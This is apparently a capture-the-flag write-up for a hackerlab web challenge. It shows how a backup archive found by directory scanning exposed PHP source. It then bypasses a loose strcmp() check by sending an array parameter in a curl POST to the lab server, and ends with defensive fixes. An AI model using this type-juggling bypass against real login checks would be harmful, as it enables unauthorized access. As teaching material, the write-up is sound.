Секретный ключ (Secret Key)
Секретный ключ (Secret Key)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Array injection to bypass string comparison, Backup file discovery (backup.tar.gz), PHP strcmp() type juggling bypass, Source code analysis
Summary
Task: PHP login form with strcmp() comparison. Solution: Type juggling bypass via array injection (secretKey[]=x) makes strcmp() return NULL which equals 0 in loose comparison.
Секретный ключ (Secret Key) — hackerlab
Description
"Тайна всегда привлекательна" (Mystery is always attractive)
URL: http://62.173.140.174:16045/
Difficulty: medium Points: 350
Reconnaissance
Technical Stack
- Apache/2.4.7 (Ubuntu)
- PHP/5.5.9-1ubuntu4.29
Initial Analysis
- Main page shows a 3D CSS animation "Universe"
- Found commented code with 🤫 (shushing face) emoji in CSS file — hint at a "secret"
- Found directories:
/html/(403),/static/(403) - All
.phpsfiles return 403 Forbidden
Key Discovery
Directory scanning (Nikto/ffuf) revealed /backup.tar.gz file — an archive with PHP source code.
Vulnerability Analysis
Vulnerable Code in index.php
php read-only • copy allowedif (isset($_POST['action']) && $_POST['action'] == 'confirmSecretKey' && isset($_POST['secretKey']) && strcmp($_POST['secretKey'], $secretKey) == 0) { echo "Welcome! You're secret key ".$secretKey." has been accepted!"; }
PHP Type Juggling in strcmp()
The strcmp() function in PHP has a type juggling vulnerability:
- When comparing a string with an array,
strcmp()returnsNULL - In PHP loose comparison:
NULL == 0returnstrue - By sending
secretKey[]=anythinginstead ofsecretKey=value, we bypass the check
Why This Works
php read-only • copy allowed// Normal behavior strcmp("test", "secret") // returns number != 0 // Vulnerable behavior strcmp(array("anything"), "secret") // returns NULL NULL == 0 // true in PHP loose comparison!
Solution
Exploit
bash read-only • copy allowedcurl -X POST "http://62.173.140.174:16045/" \ -d "action=confirmSecretKey&secretKey[]=anything"
Result
The server reveals the secret key in the response, which contains the flag.
Defense
Proper Implementation
php read-only • copy allowed// Option 1: Strict comparison if (strcmp($_POST['secretKey'], $secretKey) === 0) { // ... } // Option 2: Type checking if (is_string($_POST['secretKey']) && strcmp($_POST['secretKey'], $secretKey) == 0) { // ... } // Option 3: Direct comparison (best option) if ($_POST['secretKey'] === $secretKey) { // ... }
Lessons
- Always check for backup files (.tar.gz, .zip, .bak, .old, ~)
- PHP strcmp() with loose comparison is vulnerable to type juggling
- Use strict comparison (===) in PHP for security checks
- The 🤫 emoji in CSS was a hint at hidden secrets
- Old PHP versions (5.x) are especially vulnerable
References
- PHP Type Juggling - OWASP
- strcmp() Type Juggling - HackTricks